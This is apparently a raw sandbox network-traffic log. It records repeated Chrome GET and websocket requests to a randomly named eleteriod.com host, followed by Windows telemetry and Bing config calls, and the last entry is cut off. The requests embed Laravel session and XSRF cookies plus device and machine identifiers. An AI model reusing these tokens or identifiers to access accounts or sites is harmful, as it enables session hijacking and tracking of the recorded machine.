Source: global traffic	HTTP traffic detected: GET /ghIwflouldIy5KfULABLPvrbjLWsGG8mn1W21fyM416lcWoJkBUvXYak5v3FPkLDoef203 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpquAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wxmjNuYi8NFj9axNCKeelVGasqrjFfWilIrHNE12129 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrVD5kJZloQSesAn3G3goFnI5CufOEbJOuztggbUKlWDbs12uhS3VGXPOyeiAat4cm4bAef240 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpquAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ijOG38jlE3Csa6VPdagQNh1ZGRw9wxNGNrENQrVC1wpG35UrCP3956170 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvQfEFbBsA1PWjqjC2AsB3Sf3dRFflrh48dP0d45iW8WDARjIzdLtY2l8Xc5J58nzR6zokJzgh260 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-alivesec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117"sec-ch-ua-mobile: ?0User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36sec-ch-ua-platform: "Windows"Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8Sec-Fetch-Site: same-originSec-Fetch-Mode: no-corsSec-Fetch-Dest: imageReferer: https://l6agz47874.eleteriod.com/GIUVBENOELELFZHVJGRJARAEcuklweeqftuggnrbfef?avdpyfnsaihevlyllklgbgppwzgvijsyuartpquAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /mnrFuJOn3OoQnVImGSxPaFLthftkl2i6STz3nocxfNzRiIw78143 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /wx16mHgG3zIkcRUoCPQGlNSI17mnjc9bKeDSCBaBsqf6F90180 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /rst8N6cnlCxOsMQhnswMwlUCaOLMUL9Kjbcu86gh0Bc8CZGqwwMNYgEYsXQoW0SG47ef196 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /ghIwflouldIy5KfULABLPvrbjLWsGG8mn1W21fyM416lcWoJkBUvXYak5v3FPkLDoef203 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /qrVD5kJZloQSesAn3G3goFnI5CufOEbJOuztggbUKlWDbs12uhS3VGXPOyeiAat4cm4bAef240 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /uvQfEFbBsA1PWjqjC2AsB3Sf3dRFflrh48dP0d45iW8WDARjIzdLtY2l8Xc5J58nzR6zokJzgh260 HTTP/1.1Host: l6agz47874.eleteriod.comConnection: keep-aliveUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Accept: /Sec-Fetch-Site: noneSec-Fetch-Mode: corsSec-Fetch-Dest: emptyAccept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3D
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: l6agz47874.eleteriod.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://l6agz47874.eleteriod.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3DSec-WebSocket-Key: LsedKZoIcbErJJT9E6jUMQ==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /web8socket/socket.io/?type=User&appnum=1&EIO=4&transport=websocket HTTP/1.1Host: l6agz47874.eleteriod.comConnection: UpgradePragma: no-cacheCache-Control: no-cacheUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36Upgrade: websocketOrigin: https://l6agz47874.eleteriod.comSec-WebSocket-Version: 13Accept-Encoding: gzip, deflate, brAccept-Language: en-US,en;q=0.9Cookie: XSRF-TOKEN=eyJpdiI6IlhzWW1LWHZaeXlIbnBkYVZMZzcxeFE9PSIsInZhbHVlIjoiMkQ2K3l1V3RuK0xCeFRBdHU2MEI1dmJwbjBnNGdEdnR0SkJmZ2x1c1JOMlVSc2xWZFRtVFd1aDV3dWF2clZuRS84dCtTcmpDK3Y1TzcxVjhNOE9Yb1VFOVFORmROVTBZbkhaaVhNQ2JaMDdIVW9TcFQxMFVGekdUZ0hBNFJSRXEiLCJtYWMiOiI2ZDliM2Y5YTMxZjAwY2Y5MDIxM2QxN2Q2ZTZlMDNlNGI4NGI2ZjFlYzNlOGQ0NTgwYmY3ZGQ5ODNkOWJmZTNjIiwidGFnIjoiIn0%3D; laravel_session=eyJpdiI6Ijgwazd0azVpZ3ZWMTRrT2dqUDhPeGc9PSIsInZhbHVlIjoiZ2lmVWpZRFRrcVdWYU5CTzZWNWRWUGhNNnA3ZmE0NGNNbUhlcFJEMDNFaE1Bb3ZpcnZobXY2MUs4anlXekJlQXQ4UEtjVWFmc05qUTJRczc1M0E1Wkp5MXhUeThtWStLdDVCMklsL3IxSC96TTNNZlo4UHZhSGIvYVFHVE9xdXAiLCJtYWMiOiI4N2ExOTg1NTQ3Y2M0YmNlNWIxNTg1MTlhM2I2YjljNjBlNWNmNTM0MzA3MzcyMjE5ZDMxODU2Zjg1OWFhMTY3IiwidGFnIjoiIn0%3DSec-WebSocket-Key: Q4Eaqzm5qCcAMYL5zpkxyA==Sec-WebSocket-Extensions: permessage-deflate; client_max_window_bits
Source: global traffic	HTTP traffic detected: GET /ab HTTP/1.1Host: evoke-windowsservices-tas.msedge.netCache-Control: no-store, no-cacheX-PHOTOS-CALLERID: 9NMPJ99VJBWVX-EVOKE-RING: X-WINNEXT-RING: PublicX-WINNEXT-TELEMETRYLEVEL: BasicX-WINNEXT-OSVERSION: 10.0.19045.0X-WINNEXT-APPVERSION: 1.23082.131.0X-WINNEXT-PLATFORM: DesktopX-WINNEXT-CANTAILOR: FalseX-MSEDGE-CLIENTID: {c1afbad7-f7da-40f2-92f9-8846a91d69bd}X-WINNEXT-PUBDEVICEID: dbfen2nYS7HW6ON4OdOknKxxv2CCI5LJBTojzDztjwI=If-None-Match: 2056388360_-1434155563Accept-Encoding: gzip, deflate, br
Source: global traffic	HTTP traffic detected: GET /client/config?cc=CH&setlang=en-CH HTTP/1.1X-Search-CortanaAvailableCapabilities: NoneX-Search-SafeSearch: ModerateAccept-Encoding: gzip, deflateX-Device-MachineId: {92C86F7C-DB2B-4F6A-95AD-98B4A2AE008A}X-UserAgeClass: UnknownX-BM-Market: CHX-BM-DateFormat: dd/MM/yyyyX-Device-OSSKU: 48X-BM-DTZ: -240X-DeviceID: 01000A41090080B6X-BM-WindowsFlights: FX:117B9872,FX:119E26AD,FX:11C0E96C,FX:11C6E5C2,FX:11C7EB6A,FX:11C9408A,FX:11C940DB,FX:11CB9A9F,FX:11CB9AC1,FX:11CC111C,FX:11D5BFCD,FX:11DF5B12,FX:11DF5B75,FX:1240931B,FX:124B38D0,FX:127FC878,FX:1283FFE8,FX:12840617,FX:128979F9,FX:128EBD7E,FX:129135BB,FX:129E053F,FX:12A74DB5,FX:12AB734D,FX:12B8450E,FX:12BD6E73,FX:12C3331B,FX:12C7D66EX-Search-TimeZone: Bias=300; DaylightBias=-60; TimeZoneKeyName=Eastern Standard TimeX-BM-Theme: 000000;0078d7X-Search-RPSToken: 